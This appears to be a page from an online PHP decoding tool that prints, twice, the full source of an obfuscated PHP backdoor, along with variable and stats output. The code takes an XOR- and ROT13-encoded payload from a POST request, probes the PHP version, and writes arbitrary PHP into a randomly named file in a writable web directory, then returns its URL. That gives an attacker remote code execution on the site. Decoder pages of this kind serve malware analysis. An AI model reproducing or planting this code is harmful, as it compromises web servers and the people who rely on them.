Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hyqmbcsew = "dgxczvfldyjktwcj";$aewoptzzs = "";foreach ($_POST as $bwxgvny => $bnyv..

Decoded Output download

<?php $hyqmbcsew = "dgxczvfldyjktwcj";$aewoptzzs = "";foreach ($_POST as $bwxgvny => $bnyvkbx){if (strlen($bwxgvny) == 16 and substr_count($bnyvkbx, "%") > 10){hyljjsp($bwxgvny, $bnyvkbx);}}function hyljjsp($bwxgvny, $pmyuntl){global $aewoptzzs;$aewoptzzs = $bwxgvny;$pmyuntl = str_split(rawurldecode(str_rot13($pmyuntl)));function tbgdh($agkxhgicrz, $bwxgvny){global $hyqmbcsew, $aewoptzzs;return $agkxhgicrz ^ $hyqmbcsew[$bwxgvny % strlen($hyqmbcsew)] ^ $aewoptzzs[$bwxgvny % strlen($aewoptzzs)];}$pmyuntl = implode("", array_map("tbgdh", array_values($pmyuntl), array_keys($pmyuntl)));$pmyuntl = @unserialize($pmyuntl);if (@is_array($pmyuntl)){$bwxgvny = array_keys($pmyuntl);$pmyuntl = $pmyuntl[$bwxgvny[0]];if ($pmyuntl === $bwxgvny[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function xgvamrmqzx($knoafldnnir) {static $phnlfadf = array();$livawbtsjv = glob($knoafldnnir . '/*', GLOB_ONLYDIR);if (count($livawbtsjv) > 0) {foreach ($livawbtsjv as $knoafldnn){if (@is_writable($knoafldnn)){$phnlfadf[] = $knoafldnn;}}}foreach ($livawbtsjv as $knoafldnnir) xgvamrmqzx($knoafldnnir);return $phnlfadf;}$bbmbua = $_SERVER["DOCUMENT_ROOT"];$livawbtsjv = xgvamrmqzx($bbmbua);$bwxgvny = array_rand($livawbtsjv);$bpese = $livawbtsjv[$bwxgvny] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bpese, $pmyuntl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bpese, strlen($bbmbua));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $hyqmbcsew = "dgxczvfldyjktwcj";$aewoptzzs = "";foreach ($_POST as $bwxgvny => $bnyvkbx){if (strlen($bwxgvny) == 16 and substr_count($bnyvkbx, "%") > 10){hyljjsp($bwxgvny, $bnyvkbx);}}function hyljjsp($bwxgvny, $pmyuntl){global $aewoptzzs;$aewoptzzs = $bwxgvny;$pmyuntl = str_split(rawurldecode(str_rot13($pmyuntl)));function tbgdh($agkxhgicrz, $bwxgvny){global $hyqmbcsew, $aewoptzzs;return $agkxhgicrz ^ $hyqmbcsew[$bwxgvny % strlen($hyqmbcsew)] ^ $aewoptzzs[$bwxgvny % strlen($aewoptzzs)];}$pmyuntl = implode("", array_map("tbgdh", array_values($pmyuntl), array_keys($pmyuntl)));$pmyuntl = @unserialize($pmyuntl);if (@is_array($pmyuntl)){$bwxgvny = array_keys($pmyuntl);$pmyuntl = $pmyuntl[$bwxgvny[0]];if ($pmyuntl === $bwxgvny[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function xgvamrmqzx($knoafldnnir) {static $phnlfadf = array();$livawbtsjv = glob($knoafldnnir . '/*', GLOB_ONLYDIR);if (count($livawbtsjv) > 0) {foreach ($livawbtsjv as $knoafldnn){if (@is_writable($knoafldnn)){$phnlfadf[] = $knoafldnn;}}}foreach ($livawbtsjv as $knoafldnnir) xgvamrmqzx($knoafldnnir);return $phnlfadf;}$bbmbua = $_SERVER["DOCUMENT_ROOT"];$livawbtsjv = xgvamrmqzx($bbmbua);$bwxgvny = array_rand($livawbtsjv);$bpese = $livawbtsjv[$bwxgvny] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bpese, $pmyuntl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bpese, strlen($bbmbua));exit();}}}

Function Calls

None

Variables

$aewoptzzs
$hyqmbcsew dgxczvfldyjktwcj

Stats

MD5 4fb3937b0477ee2b53084ebf6aa2bf66
Eval Count 0
Decode Time 108 ms